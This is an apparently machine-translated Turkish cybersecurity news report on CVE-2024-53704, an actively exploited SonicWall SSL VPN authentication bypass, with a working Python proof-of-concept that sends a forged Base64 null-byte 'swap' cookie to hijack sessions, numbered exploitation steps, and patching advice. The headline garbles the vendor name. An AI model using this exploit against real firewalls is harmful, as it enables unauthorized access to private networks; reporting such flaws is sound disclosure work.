SAKLANMIŞTIR SSL VPN Oturumlarını Kaçmak İçin Aktif Olarak Kullanılan Güvenlik Açığı

   Şubat 12, 2025  Posted in CyberSecurityNews


SAKLANMIŞTIR SSL VPN Oturumlarını Kaçmak İçin Aktif Olarak Kullanılan Güvenlik Açığı

CVE-2024-53704 olarak tanımlanan Sonicwall güvenlik duvarlarında kritik bir güvenlik açığı, saldırganlar tarafından SSL VPN oturumlarını ele geçirmeleri için aktif olarak sömürülmüştür.

Bu güvenlik açığı Sonicos sürümlerini 7.1.x (7.1.1-7058 ve daha büyük), 7.1.2-7019 ve 8.0.0-8035’i etkiler.

İstismar, uzak bir saldırganın kimlik doğrulamasını atlamasına ve aktif SSL VPN istemci oturumlarının kontrolünü herhangi bir kimlik bilgisi olmadan ele geçirmesine olanak tanır.

Hizmet Olarak Siem

BishopFox uzmanları, güvenlik açığının SSL VPN kimlik doğrulama mekanizması içinde Base64 kodlu oturum çerezlerinin işlenmesinde yattığını belirtti.

Bir kimlik doğrulama algoritmasının yanlış uygulanması, saldırganların bu çerezleri manipüle ederek kimlik doğrulamasını atlamalarını sağlar.

Özellikle, getSslvpnSessionFromCookie Base64 kodlu dizelerde null karakterlerin işlenmesi nedeniyle işlev savunmasızdır.

Karşılaştırma Mantığı (Kaynak – Bishopfox)
import base64, requests, urllib3, warnings
warnings.filterwarnings("ignore", category=urllib3.exceptions.InsecureRequestWarning)

# Payload creation: Base64-encode 32 null characters
payload = base64.b64encode(b"\x00" * 32).decode()

# Exploit script to hijack SSL VPN sessions
resp = requests.get(
    "https://192.168.50.189:4433/cgi-bin/sslvpnclient?launchplatform=",
    cookies={"swap": payload},
    verify=False
)

print(resp.headers)
print(resp.text)

Sömürü süreci

  1. İlk giriş: Bir saldırgan, bir yazı isteği gönderir /cgi-bin/userLogin bir kullanıcı adı, şifre, alan adı ve login=true.
  2. Takas Çerez: Sunucu, Base64 kodlu bir takas çerezini içeren bir set-Cookie başlığı ile yanıt verir.
  3. Oturum kaçırma: Saldırgan bir GET isteği gönderir /cgi-bin/sslvpnclient?launchplatform= Kimlik doğrulamasını atlamak için hazırlanmış takas çerezi (Base64 kodlu null karakterler) ile.

CVE-2024-53704’ün sömürülmesi, saldırganlar özel ağlara yetkisiz erişim sağlayabilir, sanal ofis yer işaretlerini görüntüleyebilir, müşteri yapılandırma profillerini elde edebilir ve aktif oturumları zorla sonlandırabilir.

Bu sömürünün tespit edilmesi, saldırının doğası nedeniyle zorlayıcı olduğunu kanıtlarken, kuruluşlar şüpheli faaliyetlerin belirlenmesine yardımcı olmak için özel günlüğü yapılandırmaları uygulayabilir.

Sonicwall, 7 Ocak 2025’te kritik güvenlik yamalarını yayınlayarak bu güvenlik açığını ele aldı ve kuruluşlar bu güncellemeleri gecikmeden uygulamaya şiddetle teşvik ediliyor.

Yamalı güvenlik duvarları, sömürü girişimlerini otomatik olarak reddetmek için tasarlanmıştır.

Bu nedenle, özellikle tehdit aktörleri ağ altyapısındaki güvenlik açıklarını hedeflemeye devam ettikçe, sağlam güvenlik önlemlerini korumak ve zamanında yamalar uygulamak çok önemlidir.

Investigate Real-World Malicious Links & Phishing Attacks With Threat Intelligence Lookup - Try for Free



Source link